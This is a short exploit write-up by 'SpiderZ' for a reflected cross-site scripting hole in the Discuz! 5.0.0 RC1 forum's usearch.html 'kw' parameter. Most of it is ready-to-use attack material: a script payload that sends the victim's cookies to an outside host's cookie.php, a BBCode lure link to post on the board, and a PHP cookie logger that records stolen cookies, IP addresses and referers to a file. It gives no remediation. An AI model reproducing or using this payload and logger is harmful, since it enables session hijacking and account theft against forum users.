Xss Discuz! version 5.0.0 RC1

                                                Xss Discuz! version 5.0.0 RC1 
Author: SpiderZ 
Sito: http://www.spiderz.altervista.org 
Sito2: https://www.spiderz.netsons.org 
_________________________________________________________________________ 

Download Board : http://www.discuz.com 

File: usearch.html 
?site=www.discuz.net&kw= 

Message Script: 

 ">><script>document.location.replace('http://www.sitoweb.com/cookie.php?c='+document.cookie);</script> 

Message post: 

[url=www.sitoweb.com/usearch.html?site=www.discuz.net&kw=+ XSS]Premi qui[/url ] 

Cookie.php ( file.txt ) 

<?php 
$cookie = $_GET['c']; 
$ip = getenv ('REMOTE_ADDR'); 
$date=date("j F, Y, g:i a"); 
$referer=getenv ('HTTP_REFERER'); 
$fp = fopen('file.txt', 'a'); 
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>'); 
fclose($fp); 
?>